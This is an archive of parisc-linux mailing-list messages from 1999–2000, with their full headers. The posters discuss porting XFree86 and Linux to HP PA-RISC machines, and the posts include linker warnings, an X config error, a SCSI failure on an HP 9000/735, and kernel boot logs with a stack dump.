	for parisc-linux@thepuffingroup.com; Thu, 30 Nov 2000 02:38:58 +0000
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8657

I have a server linked. inb/inw/outb/outw and friends are right now null
functions until I fill them in. Thats not a big deal. Initially I'll probably
use /dev/port but for speed I hope everyone uses mmio based hardware.

Also is this bad ?

/usr/bin/ld: lbxdix.o(.text+0x6fc): fixing R_PARISC_DPREL21L
/usr/bin/ld: lbxprop.o(.text+0xde4): fixing R_PARISC_DPREL21L
/usr/bin/ld: lbxprop.o(.text+0xdf4): fixing R_PARISC_DPREL21L

Alan


phux:/usr/src/redhat/BUILD/XFree86-4.0.1/xc/programs/Xserver# ./XFree86 

XFree86 Version 4.0.1a / X Window System
(protocol Version 11, revision 0, vendor release 6400)
Release Date: 2 August 2000
	If the server is older than 6-12 months, or if your card is newer
	than the above date, look for a newer version before reporting
	problems.  (see http://www.XFree86.Org/FAQ)
Operating System: Linux 2.4.0-test6 parisc [ELF] 
(==) Log file: "/var/log/XFree86.0.log", Time: Wed Nov 29 19:40:16 2000
(==) Using config file: "/etc/X11/XF86Config"
Parse warning on line 77 of section Keyboard in file /etc/X11/XF86Config
	Ignoring obsolete keyword "LeftAlt".
Parse error on line 77 of section Keyboard in file /etc/X11/XF86Config
	"Meta" is not a valid keyword in this section.
(EE) Problem parsing the config file
(EE) Error from xf86HandleConfigFile()

Fatal server error:
no screens found

When reporting a problem related to a server crash, please send
the full server output, not just the last messages.
This can be found in the log file "/var/log/XFree86.0.log".
Please reports problems to xfree86@xfree86.org.


From - Thu Nov 08 21:14:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree status
Date: Thu, 30 Nov 2000 14:41:48 +1100 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011301412580.5672-100000@front.linuxcare.com.au>
References: <E141Jcg-0006je-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619357 7208 80.91.229.3 (22 Nov 2014 01:22:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: alan@linuxcare.com.au  Wed Nov 29 20:39:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA05184
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Nov 2000 20:39:43 -0700
Original-Received: (qmail 20314 invoked by uid 15267); 30 Nov 2000 03:42:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20303 invoked from network); 30 Nov 2000 03:42:09 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 03:42:09 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA14336;
	Thu, 30 Nov 2000 14:41:48 +1100
In-Reply-To: <E141Jcg-0006je-00@the-village.bc.nu>
Xref: news.gmane.org gmane.linux.ports.parisc:8658

On Thu, 30 Nov 2000, Alan Cox wrote:

> Also is this bad ?
> 
> /usr/bin/ld: lbxdix.o(.text+0x6fc): fixing R_PARISC_DPREL21L

No.

It's a symptom of a variable's "constness" being declared differently from
the way the variable is defined.  For instance, referring to "extern int foo"
in one object with foo defined as "const int foo" in another.  I'll be
removing the linker warning at some stage.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree status
Date: Wed, 29 Nov 2000 21:18:14 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <200011300518.VAA28946@milano.cup.hp.com>
References: <E141Jcg-0006je-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619357 7211 80.91.229.3 (22 Nov 2014 01:22:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: grundler@cup.hp.com  Wed Nov 29 22:15:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA06702
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Nov 2000 22:15:44 -0700
Original-Received: (qmail 15496 invoked by uid 15267); 30 Nov 2000 05:17:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15465 invoked from network); 30 Nov 2000 05:17:55 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 05:17:55 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 23F3A1154; Wed, 29 Nov 2000 21:17:50 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id VAA28946;
	Wed, 29 Nov 2000 21:18:15 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 30 Nov 2000 02:38:56 PST."
             <E141Jcg-0006je-00@the-village.bc.nu> 
Xref: news.gmane.org gmane.linux.ports.parisc:8659

Alan Cox wrote:
> I have a server linked.

Alan - that's Cool! Wow!

> inb/inw/outb/outw and friends are right now null
> functions until I fill them in. Thats not a big deal. Initially I'll probably
> use /dev/port but for speed I hope everyone uses mmio based hardware.

All HP graphics for PARISC are memory mapped. Both "GSC" and PCI flavors.

But I'm pretty clueless how linux X server finds/talks to a frame buffer.
For HPUX, the graphics driver supports some ioctl()'s.
Any references to describe how it works for linux?

parisc-linux doesn't create kernel virtual addresses for MMIO.
Which interface is used to create user virtual addresses for MMIO?
(In general - not just for frame buffers)

Is the PCI address passed to user space?
I'm wondering if/how "bus_to_virt()" type translations take place.

sorry for the many questions...

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Zander <gibreel@pobox.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS linux Vs. -test10
Date: 30 Nov 2000 00:09:03 -0800
Organization: speaking through, but not for, McKessonHBOC Corp.
Lines: 26
Approved: news@gmane.org
Message-ID: <877l5lvq3k.fsf@rabbit.fire-swamp.net>
References: <200011201734.JAA18526@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619358 7213 80.91.229.3 (22 Nov 2014 01:22:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:38 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@puffin.external.hp.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: gibreel@debian.org  Thu Nov 30 01:32:53 2000
Original-Received: from rabbit.fire-swamp.net (c976901-a.potlnd1.or.home.com [24.12.188.116])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id BAA08711
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 01:32:52 -0700
Original-Received: from srz by rabbit.fire-swamp.net with local (Exim 3.16 #1 (Debian))
	id 141Om7-00041v-00; Thu, 30 Nov 2000 00:09:03 -0800
In-Reply-To: Grant Grundler's message of "Mon, 20 Nov 2000 09:34:31 -0800"
Original-Lines: 25
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Channel Islands)
Original-Sender: Stephen Zander <gibreel@debian.org>
Xref: news.gmane.org gmane.linux.ports.parisc:8660

>>>>> "Grant" == Grant Grundler <grundler@cup.hp.com> writes:
    Grant> For the record, the second issue bdale made clear was we
    Grant> need "boot floppies" debian package working. We don't need
    Grant> more ISO images (no offense to pjlahaie for his good
    Grant> work). "Boot floppies" is a pre-requisite to becoming part
    Grant> of the next debian release. Given I still don't have a clue
    Grant> how to build a debian package and I can still contribute
    Grant> alot in other areas, it doesn't make sense for me to do it
    Grant> myself.

</lurk>

Oooh, there's a reason for me to finally get the 712/80 under my desk
to be more than a foot-rest.  I'll see what I can do about this.

Note that the likelihood of Debian releasing woody anytime soon is
vanishingly small, so this dosen't have to happen Right Now.

<lurk>

-- 
Stephen (debian developer)

"Strange women lying in ponds distributing swords is no basis for a
system of government"


From - Thu Nov 08 21:14:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugo van der Kooij <hvdkooij@caiw.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The kernel builds!!!
Date: Sat, 1 May 1999 13:18:33 +0200 (CEST)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9905011317440.5931-100000@bastion.nl3155vj16.vanderkooij.org>
References: <Pine.LNX.3.96.990501000741.10592S-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619358 7216 80.91.229.3 (22 Nov 2014 01:22:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:38 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@redhat.com>
Original-X-From: hvdkooij@caiw.nl  Sat May  1 05:19:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA19015
	for <parisc-linux@puffin.external.hp.com>; Sat, 1 May 1999 05:19:20 -0600
Original-Received: (qmail 19248 invoked by uid 15267); 1 May 1999 11:17:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19241 invoked from network); 1 May 1999 11:17:25 -0000
Original-Received: from k3nw059.dial.kabelfoon.nl (HELO bastion.nl3155vj16.vanderkooij.org) (195.193.24.59)
  by mailserv2.iuinc.com with SMTP; 1 May 1999 11:17:25 -0000
Original-Received: from bastion.nl3155vj16.vanderkooij.org (bastion.nl3155vj16.vanderkooij.org [192.168.100.254])
	by bastion.nl3155vj16.vanderkooij.org (8.9.1a/8.9.1) with ESMTP id NAA06257;
	Sat, 1 May 1999 13:18:33 +0200
X-Sender: hvdkooij@bastion.nl3155vj16.vanderkooij.org
In-Reply-To: <Pine.LNX.3.96.990501000741.10592S-100000@devserv.devel.redhat.com>
X-URL: http://www.caiw.nl/~hvdkooij/
X-Loop: Hugo.van.der.Kooij@caiw.nl
Xref: news.gmane.org gmane.linux.ports.parisc:8661

On Sat, 1 May 1999, Alex deVries wrote:

> 
> On Sat, 1 May 1999, Philipp Rumpf wrote:
> > prumpf@insula:~/cvs-s/parisc/linux > ls -l vmlinux 
> > -rwxr-xr-x   1 prumpf   users      353695 May  1 03:01 vmlinux
> > 
> 
> I'm pretty sure that this is the first every monolithic kernel to be build
> for PA RISC.
> 
> This is a pretty significant feat, and I'd encourage you wherever you are
> to stand up and clap your hands/wings to Philipp and everyone else who's
> helped out. 

The mere fact is more then a leap for mankind.

GREAT JOB!

Hugo.

        +------------------------+------------------------------+
        | Hugo van der Kooij     | Hugo.van.der.Kooij@caiw.nl   |
        | Oranje Nassaustraat 16 | http://www.caiw.nl/~hvdkooij |
        | 3155 VJ  Maasland      | (De man met de rode hoed)    |
        +------------------------+------------------------------+
    "Computers let you make more mistakes faster than any other invention in
      human history, with the possible exception of handguns and tequila."
                (Mitch Radcliffe)


From - Thu Nov 08 21:14:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Steve Moret" <smoret@uci.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 01:20:28 -0800
Lines: 109
Approved: news@gmane.org
Message-ID: <FKEGLIIBOIACJOCCAFIMCEFBCCAA.smoret@uci.edu>
References: <00113001105103.00309@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619358 7218 80.91.229.3 (22 Nov 2014 01:22:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:38 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: smoret@uci.edu  Thu Nov 30 02:18:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA09415
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 02:18:58 -0700
Original-Received: (qmail 29936 invoked by uid 15267); 30 Nov 2000 09:21:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29924 invoked from network); 30 Nov 2000 09:21:24 -0000
Original-Received: from cx531961-j.msnv1.occa.home.com (HELO cerebus.genocide.net) (qmailr@24.1.159.243)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 09:21:24 -0000
Original-Received: (qmail 22023 invoked from network); 30 Nov 2000 09:21:22 -0000
Original-Received: from cx531961-i.msnv1.occa.home.com (HELO CX531961I) (24.1.159.234)
  by cx531961-j.msnv1.occa.home.com with SMTP; 30 Nov 2000 09:21:22 -0000
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <00113001105103.00309@P100>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:8662

Helge,

My mistake! I did a full build with todays CVS and parport didn't die. So
somewhere between the 17th and now parport must have been fixed.

Now, maybe you can help me identify my SCSI problem. I don't know if it is
because of driver issues or a bad disk (completly likely). Do other people
have the Fast SCSI2 working on their 735s?

Whenever I do a mke2fs (after partitioning the drive with fdisk ok) it dies.

At bootup I get:

SCSI subsystem driver Revision: 1.00
sim700: Couldn't get consistent shared memory
sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86
scsi0: Revision 0x0
Post test1, istat 05, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: WARNING: target data areas are not dma coherent!
scsi0: test 1 completed ok.
scsi0: sim700_intr_handle() called with no interrupt
scsi0 : LASI/Simple 53c7xx
  Vendor: HP        Model: C2235             Rev: 0B11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: HP        Model: C2235             Rev: 0B11
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 5, lun 0
Detected scsi disk sdb at scsi0, channel 0, id 6, lun 0
SCSI device sda: 825012 512-byte hdwr sectors (422 MB)
Partition check:
 sda: sda1 sda2
SCSI device sdb: 825012 512-byte hdwr sectors (422 MB)
 sdb: sdb1 sdb2



And then if I try to mke2fs the disk I get:

hp735:~# fdisk -l /dev/sda

Disk /dev/sda: 13 heads, 62 sectors, 1023 cylinders
Units = cylinders of 806 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/sda1             1       910    366699   83  Linux
/dev/sda2           911      1023     45539   82  Linux swap
hp735:~# mke2fs /dev/sda1
mke2fs 1.19, 13-Jul-2000 for EXT2 FS 0.5b, 95/08/09
Filesystem label=
OS type: Linux
Block size=1024 (log=0)
Fragment size=1024 (log=0)
91800 inodes, 366699 blocks
18334 blocks (5.00%) reserved for the super user
First data block=1
45 block groups
8192 blocks per group, 8192 fragments per group
2040 inodes per group
Superblock backups stored on blocks:
        8193, 24577, 40961, 57345, 73729, 204801, 221185

Writing inode tables: done
Writing superblocks and filesystem accounting information: scsi0: Unable to
abort command for target 5
scsi0: Unable to send Bus Device Reset for target 5
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 0c, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 0cf15038 (script[0x140e]), dsps = 0cf15cde, target = 0
scsi0: Failing command for ID5
scsi0: sim700_intr_handle() called with no interrupt
pa11_dma_map_single(PCI_DMA_NONE) called by c01cb6d4
kernel BUG at pci-dma.c:392!
pa11_dma_unmap_single(PCI_DMA_NONE) called by c01ca3bc
kernel BUG at pci-dma.c:403!
SCSI disk error : host 0 channel 0 id 5 lun 0 return code = 2
 I/O error: dev 08:01, sector 268
 I/O error: dev 08:01, sector 270
 I/O error: dev 08:01, sector 396
 I/O error: dev 08:01, sector 16396
 I/O error: dev 08:01, sector 16524
 I/O error: dev 08:01, sector 16652

Of course the I/O errors continue on for a long time. Are these bad drives?
Or is there a problem with the driver that still needs to be worked out?

Thanks for all your help, I hope my spews of debug output are helpful,

--
Steve Moret
smoret@uci.edu

> -----Original Message-----
> From: Helge Deller [mailto:deller@gmx.de]
> Sent: Wednesday, November 29, 2000 4:11 PM
> To: Steve Moret
> Cc: parisc-linux@thepuffingroup.com
> Subject: Re: [parisc-linux] HP 9000/735-125
>
> I really would like to get the parallel-port problems on ASP get fixed as
> soon as possible.
> Could you please mail me your bootlog (with parport enabled), so
> I can try to
> track down the problem.
> Maybe you can also check out CVS again, and test if this version
> works for
> you ?


From - Thu Nov 08 21:14:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jorge L. deLyra" <delyra@latt.if.usp.br>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 08:58:22 -0200 (BRST)
Lines: 275
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.1001130085232.14082B-100000@latt.if.usp.br>
References: <200011292319.PAA28547@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619358 7222 80.91.229.3 (22 Nov 2014 01:22:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:38 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, assirati@socrates.if.usp.br
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: delyra@latt.if.usp.br  Thu Nov 30 03:56:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA10482
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 03:56:18 -0700
Original-Received: (qmail 18251 invoked by uid 15267); 30 Nov 2000 10:58:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18171 invoked from network); 30 Nov 2000 10:58:39 -0000
Original-Received: from latt.if.usp.br (qmailr@143.107.129.103)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 10:58:39 -0000
Original-Received: (qmail 14146 invoked by uid 1003); 30 Nov 2000 10:58:22 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 30 Nov 2000 10:58:22 -0000
In-Reply-To: <200011292319.PAA28547@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8663

> > information. Question: would it do anyone any good if I tried to get
> > everything the kernel said before the hang into a message in this list?
> 
> Certainly. I won't be able to debug the problems since I (a) don't have
> the time too (unless it's obvious) and (b) don't have a 735 setup
> for testing.

OK, here goes. I want to congratulate you all on this effort. We have five
of these HP-9000 stations here, quite old by now. They used to be our main
number crunching force. They are wonderfully built hardware in bad need of
a wonderful system on them!  |:-)

----------------------------------------------------------------
        Jorge L. deLyra,  Associate Professor of Physics
            The University of Sao Paulo,  IFUSP-DFMA
       For more information: finger delyra@latt.if.usp.br
----------------------------------------------------------------

Seyon Copyright (c) 1992-1993 Muhammad M. Saggaf. All rights reserved.
Version 2 rev. 20c i586-Linux steve@hammer 05/23/99 20:19:22.

Locating Modems...
Modem `/dev/ttyS0' is Available.




(c) Copyright.  Hewlett-Packard Company.  1992.
All rights reserved.

PDC ROM rev. 2.7
IODC ROM rev. 1.1
80 MB of memory configured and tested.


Searching for Potential Boot Devices.
To terminate search, press and hold the ESCAPE key.

Device Selection      Device Path              Device Type
----------------------------------------------------------------------------

P0                    scsi.6.0                 HP      C3725S
P1                    scsi.4.0                 TOSHIBA CD-ROM XM-3301TA



b)    Boot from specified device
s)    Search for bootable devices
a)    Enter Boot Administration mode
x)    Exit and continue boot sequence
?)    Help

Select from menu: b p1

Trying scsi.4.0
Boot path initialized.
Attempting to load IPL.


Soft booted.
palo ipl bame@noam Tue Oct 31 14:18:02 MST 2000
0/vmlinux 2140145 bytes @ 0x6f9800
0/palo-cmdline '0/vmlinux ROOT=/ TERM=LINUX root=/dev/scd0'
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 00100150 first 00100000 n 4
Segment 0 load 00100000 size 1460344 mediaptr 0x1000
Segment 1 load 00266000 size 179048 mediaptr 0x166000
Segment 2 load 00294000 size 109876 mediaptr 0x192000
Segment 3 load 002b0000 size 8192 mediaptr 0x1ad000
branching to kernel entry point 0x00100150
PDC Console Initialized
The 32-bit Kernel has started...
Enabled FP coprocessor
Free memory starts at: 0xc02da000
(0x504d6c,0x504d6c,0x0,0x0)
PALO command line: 'ROOT=/ TERM=LINUX root=/dev/scd0'
PALO initrd 0-0
model   00002060 00000481 00000000 00000000 77f451b0 ffffffff 00000004 0000000a 0000000a
vers    00000015
CPUID vers 0 rev 0
Searching for devices in PDC firmware... processor hpa 0xfffbe000
 an older box...
Found devices:
1. Outfield Core BA (11) at 0xf082f000, versions 0x9, 0x0, 0x70, 0x0, 0x0
2. Outfield Core SCSI (10) at 0xf0825000, versions 0x9, 0x0, 0x71, 0x0, 0x0
3. Outfield Core LAN (802.3) (10) at 0xf0826000, versions 0x9, 0x0, 0x72, 0x0, 0x0
4. Outfield Core HIL (10) at 0xf0821000, versions 0x9, 0x0, 0x73, 0x0, 0x0
5. Outfield Core RS-232 (10) at 0xf0823000, versions 0x9, 0x0, 0x75, 0x0, 0x0
6. Outfield Core RS-232 (10) at 0xf0822000, versions 0x9, 0x0, 0x75, 0x0, 0x0
7. Outfield Core Centronics (10) at 0xf0824000, versions 0x9, 0x0, 0x74, 0x0, 0x0
8. Outfield FW SCSI (10) at 0xf0830000, versions 0x9, 0x0, 0x7c, 0x0, 0x0
9. Outfield Audio (10) at 0xf1000000, versions 0x9, 0x0, 0x7f, 0x0, 0x0
10. Cobra EISA BA (11) at 0xfc000000, versions 0x4, 0x0, 0x76, 0x0, 0x0
11. Snake Cheetah (735/130) (0) at 0xfffbe000, versions 0x206, 0x0, 0x4, 0x0, 0x81
12. Snake Cheetah (1) at 0xfffbf000, versions 0x37, 0x0, 0x9, 0x0, 0x0
That's a total of 12 devices.
CPU(s): 1 x PA7100 (PCX-T) at 125.000000 MHz
Linux version 2.4.0-test6 (pjlahaie@elenuial.thepuffingroup.com) (gcc version 2.96 20000925 (experimental)) #32 Mon Nov 6 10:20:58 EST 2000
free_bootmem(0x2daa00, 0x4d25600)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 20480
zone(0): 10240 pages.
zone(1): 10240 pages.
zone(2): 0 pages.
Kernel command line: ROOT=/ TERM=LINUX root=/dev/scd0
trap_init
Calibrating delay loop... 124.52 BogoMIPS
Memory: 77468k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
POSIX conformance testing by UNIFIX
ASP version 20 at 0xf0800000 found.
Found i82596 at 0xf0826000, IRQ 87
early initialization of device eth0 is deferred
Found HIL at 0xf0821000, IRQ 94
HIL: no keyboard present.
Warning : device (10, 0x9, 0x0, 0x73, 0x0) NOT claimed by HIL 712, 715 or similiar
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 8192 bind 8192)
Starting kswapd v1.7
pty: 256 Unix98 ptys configured
lp: driver loaded but no devices found
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
sim700: Couldn't get consistent shared memory
sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86
scsi0: Revision 0x0
Post test1, istat 05, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: WARNING: target data areas are not dma coherent!
scsi0: test 1 completed ok.
scsi0: sim700_intr_handle() called with no interrupt
scsi0 : LASI/Simple 53c7xx
scsi : 1 host.
  Vendor: TOSHIBA   Model: CD-ROM XM-3301TA  Rev: 1651
  Type:   CD-ROM                             ANSI SCSI revision: 02
Detected scsi CD-ROM sr0 at scsi0, channel 0, id 4, lun 0
  Vendor: HP        Model: C3725S            Rev: 6019
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 6, lun 0
scsi : detected 1 SCSI cdrom 1 SCSI disk total.
Uniform CD-ROM driver Revision: 3.11
SCSI device sda: hdwr sector= 512 bytes. Sectors= 4194058 [2047 MB] [2.0 GB]
Partition check:
 sda: unknown partition table
82596.c: MAC of HP700 LAN blindely read from the prom!
eth0: Couldn't get consistent shared memory
eth0: 82596 at 0xf0826000, 08 00 09 0B DB EB IRQ 87.
82596.c $Revision: 1.14 $
Serial driver version 5.01 (2000-05-29) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled

Dumping Stack from c4f9c000 to c4f9cbc0:
c000 00000000 00000140 00000000 00000000 c027a46c 00000001 00000000 ffffffff
c020 00000000 00000000 00000000 00000000 00000000 00000000 ffffffff c027a384
c040 c027a384 c4f90000 c02b0000 c028060c 00000000 00000000 00000000 00000000
c060 00000000 00000000 00000001 00000000 00000000 00000000 00000000 c02b0000
c080 c02b0000 c4f50000 00000000 00000000 00000000 c02c9ab8 00000000 c4f9c09c
c0a0 c4f9c09c c4f9c0a4 c011a6e4 c4f9cac8 00000000 00000000 00000000 00000000
c0c0 00000000 00000000 00000000 00000000 00000000 00000000 c4f9c000 c011d4a8
c0e0 00000000 00000037 00000000 00000000 00000024 00000000 0000005b 00000000
c100 00000000 00000000 00000000 00000000 00000000 80000000 00000000 00000000
c120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c1a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 fffffeff
c1c0 00000000 ffffffff 00000000 c027afb4 ffffffff ffffffff ffffffff ffffffff
c1e0 ffffffff ffffffff 00800000 05000000 00000000 ffffffff ffffffff ffffffff
c200 00000500 00000500 00000400 00000400 ffffffff ffffffff ffffffff ffffffff
c220 00007377 61707065 72000000 00000000 00000000 00000000 00000000 00000000
c240 00000000 00000000 00005000 c0267054 c0267054 c013d1e8 00010000 c4ffeba0
c260 c02238c4 c0236708 c02d9800 00504d6c 00000000 c011bb88 c0267000 00005000
c280 c0267054 c0267000 0000003e c027a000 00000001 c02b61eb 00000004 c02b61c7
c2a0 00000023 c02b61eb 00000000 00000000 c0100290 0000003e 00000000 00000024
c2c0 0000000b c027a4ac c027a000 08000059 00000000 000000ff 00000060 00000000
c2e0 00000060 00000002 002b2080 00000008 002b50c0 c0266000 00000000 023c3460
c300 c02b08c0 00000001 08000000 00000000 00000000 00000000 00856606 00000000
c320 00000000 00000000 42780000 00000000 431c0000 00000000 4471cccc 00000000
c340 000003c7 00000000 fffffde0 fffffde0 7f7fffff ffffffff 7f7fffff ffffffff
c360 00000000 00000000 00000000 00000000 41800000 00000000 00000010 00000010
c380 00000000 00000000 fffffde0 fffffde0 41000000 00000000 40800000 00000000
